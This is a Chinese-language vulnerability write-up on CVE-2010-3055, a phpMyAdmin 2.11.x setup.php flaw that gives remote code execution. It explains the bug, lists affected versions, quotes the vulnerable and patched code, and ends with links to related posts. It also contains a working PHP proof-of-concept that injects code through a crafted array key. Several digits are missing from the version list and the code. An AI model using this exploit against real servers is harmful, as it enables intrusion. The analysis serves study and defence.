目录

. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考

1. 漏洞描述

The configuration setup script (aka scripts/setup.php) in phpMyAdmin 2.11.x before 2.11.10.1 does not properly restrict key names in its output file, which allows remote attackers to execute arbitrary PHP code via a crafted POST request.

简单地概括这个漏洞如下

. \scripts\setup.php文件会接收用户的POST数据进行配置文件的键值(key-value)赋值,并将结果写入/config/config.inc.php文件
. 代码对用户的输入没有进行有效的过滤,导致黑客可以采用"注入拼接技术",在原本的key-value赋值的"中间",拼接一段任意代码执行
. \scripts\setup.php文件在点击load(也就是用户点击查看配置文件)的时候,采用eval(..的方式进行"变量本地注册",即重新执行一次变量赋值
. 在eval的过程中,之前黑客注入的任何代码,被eval执行了,导致了最终的代码执行

Relevant Link:

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-3055
http://threats.io/cve/CVE-2010-3055/

2. 漏洞触发条件

. phpmyadmin下的config文件夹存在
这点和CVE--1151是一样的,setup.php本身不能创建新的目录 . config文件夹、config.inc.php文件可写 . 代码本身存在输入过滤漏洞

0x1: 测试POC

POC的发起需要附带对应的token,在手工测试的时候需要注意这点

<?php
// this is an exploit code for phpMyAdmin 2.11.10 $target_url = "http://host/path/phpmyadmin/script/setup.php"; $token = null; // request 1:获取token
$res = get_response(); // request 2 (add server)
$res = get_response('POST', "token=$token&action=addserver"); // request 3 (save to session)
$res = get_response('POST', "token=$token&action=addserver_real&host=localhost&connect_type=tcp&extension=mysql&auth_type=config&user=root&password=1&submit_save=Add&AllowDeny_order=1&AllowDeny[a][b]['.phpinfo().']=1"); // request 4 (save to file)
$res = get_response('POST', "token=$token&action=save"); // request 5 (load file)
$res = get_response('POST', "token=$token&action=load");
var_dump($res); function get_response($method='GET', $body=null) {
global $target_url, $token;
static $ch = null; if ($ch === null) $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_URL, $target_url); if ($method == 'POST') {
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
} curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookie.txt'); $res = curl_exec($ch);
$token = get_token($res); return $res;
} function get_token($s) {
if (preg_match('#name="token" value="(.*?)"#', $s, $m)) {
return $m[];
}
}

Relevant Link:

http://forum.antichat.ru/printthread.php?t=239845

3. 漏洞影响范围

phpMyAdmin phpMyAdmin 2.11.
phpMyAdmin phpMyAdmin 2.11.
phpMyAdmin phpMyAdmin 2.11. .
phpMyAdmin phpMyAdmin 2.11. .
phpMyAdmin phpMyAdmin 2.11. .
phpMyAdmin phpMyAdmin 2.11.
phpMyAdmin phpMyAdmin 2.11.
phpMyAdmin phpMyAdmin 2.11.
phpMyAdmin phpMyAdmin 2.11.
phpMyAdmin phpMyAdmin 2.11.
phpMyAdmin phpMyAdmin 2.11.
phpMyAdmin phpMyAdmin 2.11.9.5.
phpMyAdmin phpMyAdmin 2.11.9.5
phpMyAdmin phpMyAdmin 2.11.9.3
phpMyAdmin phpMyAdmin 2.11.8.1
phpMyAdmin phpMyAdmin 2.11.5.2
phpMyAdmin phpMyAdmin 2.11.5.1
phpMyAdmin phpMyAdmin 2.11.2.2
phpMyAdmin phpMyAdmin 2.11.2.1
phpMyAdmin phpMyAdmin 2.11.-dev
phpMyAdmin phpMyAdmin 2.11.1.2
phpMyAdmin phpMyAdmin 2.11.1.1
MandrakeSoft Corporate Server 4.0 x86_64
MandrakeSoft Corporate Server 4.0
Gentoo Linux
Debian Linux 5.0 sparc
Debian Linux 5.0 s/
Debian Linux 5.0 powerpc
Debian Linux 5.0 mipsel
Debian Linux 5.0 mips
Debian Linux 5.0 m68k
Debian Linux 5.0 ia-
Debian Linux 5.0 ia-
Debian Linux 5.0 hppa
Debian Linux 5.0 armel
Debian Linux 5.0 arm
Debian Linux 5.0 amd64
Debian Linux 5.0 alpha
Debian Linux 5.0

Relevant Link:

http://www.securityfocus.com/bid/42591

4. 漏洞代码分析

这个漏洞的利用需要分几步,我们分为注入和利用2步来分析代码中存在的漏洞

0x1: 注入

function get_cfg_val($name, $val)
{
global $crlf; $ret = '';
if (is_array($val))
{
$ret .= $crlf;
foreach ($val as $k => $v)
{
if (!isset($type))
{
if (is_string($k))
{
$type = 'string';
}
elseif (is_int($k))
{
$type = 'int';
$ret .= $name . ' = array(' . $crlf;
}
else
{
// Something unknown...
$ret .= $name. ' = ' . PMA_var_export($val) . ';' . $crlf;
break;
}
}
if ($type == 'string')
{ //如果没有对用户的输入进行转义、过滤、规范化,则会存在拼接型注入的风险
$ret .= get_cfg_val($name . "['$k']", $v);
}
elseif ($type == 'int')
{
$ret .= ' ' . PMA_var_export($v) . ',' . $crlf;
}
}
if (!isset($type))
{
/* Empty array */
$ret .= $name . ' = array();' . $crlf;
}
elseif ($type == 'int')
{
$ret .= ');' . $crlf;
}
$ret .= $crlf;
unset($type);
}
else
{
$ret .= $name . ' = ' . PMA_var_export($val) . ';' . $crlf;
}
return $ret;
}

0x2: 利用

...
case 'load':
if ($fail_dir) {
message('error', 'Reading of configuration disabled because of permissions.');
break;
}
//载入配置文件
$new_cfg = load_config('./config/config.inc.php');
if (!($new_cfg === FALSE)) {
$_SESSION['configuration'] = $new_cfg;
}
$show_info = TRUE;
break;
...

load_config()

function load_config($config_file)
{
if (file_exists($config_file))
{
$success_apply_user_config = FALSE;
$old_error_reporting = error_reporting();
//直接使用eval对配置文件中的key-value进行"变量本地注册",黑客可以采用拼接的方式,在eval即将执行的字符串中拼接入任意代码,从而导致远程代码执行
if (function_exists('file_get_contents'))
{
$success_apply_user_config = eval('?>' . trim(file_get_contents($config_file)));
}
else
{
$success_apply_user_config = eval('?>' . trim(implode("\n", file($config_file))));
}
error_reporting($old_error_reporting);
unset($old_error_reporting);
if ($success_apply_user_config === FALSE)
{
message('error', 'Error while parsing configuration file!');
}
elseif (!isset($cfg) || count($cfg) == )
{
message('error', 'Config file seems to contain no configuration!');
}
else
{
// This must be set
if (!isset($cfg['Servers']))
{
$cfg['Servers'] = array();
}
message('notice', 'Configuration loaded');
compress_servers($cfg);
return $cfg;
}
}
else
{
message('error', 'Configuration file not found!');
}
return FALSE;
}

Relevant Link:

http://sourceforge.net/p/phpmyadmin/bugs/3081/

5. 防御方法

function get_cfg_val($name, $val)
{
global $crlf; $ret = '';
if (is_array($val))
{
$ret .= $crlf;
foreach ($val as $k => $v)
{
if (!isset($type))
{
if (is_string($k))
{
$type = 'string';
}
elseif (is_int($k))
{
$type = 'int';
$ret .= $name . ' = array(' . $crlf;
}
else
{
// Something unknown...
$ret .= $name. ' = ' . PMA_var_export($val) . ';' . $crlf;
break;
}
}
if ($type == 'string')
{
//防御代码
$k = preg_replace('/[^A-Za-z0-9_]/', '_', $k);
//如果没有对用户的输入进行转义、过滤、规范化,则会存在拼接型注入的风险
$ret .= get_cfg_val($name . "['$k']", $v);
}
elseif ($type == 'int')
{
$ret .= ' ' . PMA_var_export($v) . ',' . $crlf;
}
}
if (!isset($type))
{
/* Empty array */
$ret .= $name . ' = array();' . $crlf;
}
elseif ($type == 'int')
{
$ret .= ');' . $crlf;
}
$ret .= $crlf;
unset($type);
}
else
{
$ret .= $name . ' = ' . PMA_var_export($val) . ';' . $crlf;
}
return $ret;
}

在输入的检测中,使用正则进行了"规范化",将输入的key限定在数字和字母的范围之中,有效地防御了这个代码执行漏洞

Relevant Link:

https://github.com/phpmyadmin/phpmyadmin/commit/30c83acddb58d3bbf940b5f9ec28abf5b235f4d2

6. 攻防思考

暂无

Copyright (c) 2014 LittleHann All rights reserved

phpMyadmin /scripts/setup.php Execute Arbitrary PHP Code Via A Crafted POST Request CVE-2010-3055的更多相关文章

  1. phpMyadmin /scripts/setup.php Execute Arbitrary PHP Code Via unserialize Vul Object Injection PMASA-2010-4

    目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 对这个漏洞简单的概括如下 . "/scripts/setup.php&q ...

  2. phpMyadmin /scripts/setup.php Remote Code Injection && Execution CVE-2009-1151

    目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Insufficient output sanitizing when gener ...

  3. phpmyadmin scripts/setup.php 反序列化漏洞(WooYun-2016-199433)

    phpmyadmin 2.x版本 POST /scripts/setup.php HTTP/1.1 Host: 192.168.49.2:8080 Accept-Encoding: gzip, def ...

  4. mvn deploy 报错:Return code is: 400, ReasonPhrase: Bad Request. ->

    mvn deploy 报错:Return code is: 400, ReasonPhrase: Bad Request. -> TEST通过没有报错,但是最终部署到Nexus中时出现错误. 后 ...

  5. maven deploy Return code is: 400, ReasonPhrase: Bad Request.

    最近在自己本地deploy jar 到本地 nexus的时候,报错 Return code is: 400, ReasonPhrase: Bad Request. 解决思路: 1.查看maven pr ...

  6. 解决 android studio 出现:"AndroidStudio:Could not GET 'https://dl.google.com Received status code 400 from server: Bad Request"问题

    一.android studio 编译项目时出现"AndroidStudio:Could not GET 'https://dl.google.com Received status cod ...

  7. Android Studio Gradle build 报错:Received status code 400 from server: Bad Request

    错误提示如下 Could not GET 'https://dl.google.com/dl/android/maven2/com/android/tools/build/gradle/3.1.2/ ...

  8. Python pip install Twisted 出错“Command "c:\python37\python.exe -u -c "import setuptools, tokenize;__file__='C:...\\Twisted\\setup.py'.... failed with error code 1 in C:... \\Twisted"

    如标题所说: python版本是目前最新的3.7.1 结果发现并不是环境问题,而是直接 pip install Twisted 安装的包不兼容 需要手动下载兼容的扩展包Twisted-18.9.0-c ...

  9. VS Code 中使用 GitHub pull request 插件提交代码

    VS Code作为一个代码编辑器,受到很多人的喜爱:其中有很多非常有用的插件/扩展功能,也会极大的提高我们的工作效率. 这里介绍一下GitHub pull request,用来向GitHub提交在VS ...

随机推荐

  1. Asp.net,C# 纯数字加密解密字符串

    也就是说加密后的数据不再是:N8lAaHMFtSAQgaf3+RUFng== 希望encryptedString是"1203877893704809384098328409234923840 ...

  2. Spring Security笔记:使用数据库进行用户认证(form login using database)

    在前一节,学习了如何自定义登录页,但是用户名.密码仍然是配置在xml中的,这样显然太非主流,本节将学习如何把用户名/密码/角色存储在db中,通过db来实现用户认证 一.项目结构 与前面的示例相比,因为 ...

  3. UML:类图复习-鸡生蛋,蛋生鸡

    这是前一阵<高级软件工程>课堂上,老师随堂出的一道讨论题,随手贴在这里: ps: 今天是520,正好聊一些OoXx,关于爱的扯淡话题:) 题目:“鸡生蛋,蛋孵鸡”,世间万物生生不息,如何用 ...

  4. Python 操作 MongoDB

    原文 这篇文章主要介绍了使用Python脚本操作MongoDB的教程,MongoDB作为非关系型数据库得到了很大的宣传力度,而市面上的教程一般都是讲解JavaScript的脚本操作,本文则是基于Pyt ...

  5. Last-Modified,Etag,Expire区别

    Last-Modified 是什么 Last-Modified 是 HttpHeader 中的资源的最后修改时间,如果带有 Last-Modified ,下一次发送 Http 请求时,将会发生带 If ...

  6. 一个C++宏定义与枚举定义重复的编译错误

    C++的开发效率低是众所周知的,原因比如有: 语言复杂度高 编译效率低 工具链不够完整高效(尤其是linux下) 另外一个恐怕是不少编译错误让人摸不着头脑,今天碰到一个,举个例子: #include ...

  7. 如何拿到半数面试公司Offer——我的Python求职之路

    从八月底开始找工作,短短的一星期多一些,面试了9家公司,拿到5份Offer,可能是因为我所面试的公司都是些创业性的公司吧,不过还是感触良多,因为学习Python的时间还很短,没想到还算比较容易的找到了 ...

  8. 深入理解python的yield和generator

    原文发表在我的博客主页,转载请注明出处 前言 没有用过的东西,没有深刻理解的东西很难说自己会,而且被别人一问必然破绽百出.虽然之前有接触过python协程的概念,但是只是走马观花,这两天的一次交谈中, ...

  9. 转载:ZooKeeper Programmer's Guide(中文翻译)

    本文是为想要创建使用ZooKeeper协调服务优势的分布式应用的开发者准备的.本文包含理论信息和实践信息. 本指南的前四节对各种ZooKeeper概念进行较高层次的讨论.这些概念对于理解ZooKeep ...

  10. How to create a batch of VMs with PowerShell

    Foreword When we do some test that need several VMs, we can use PowerShell script or CmdLets to impl ...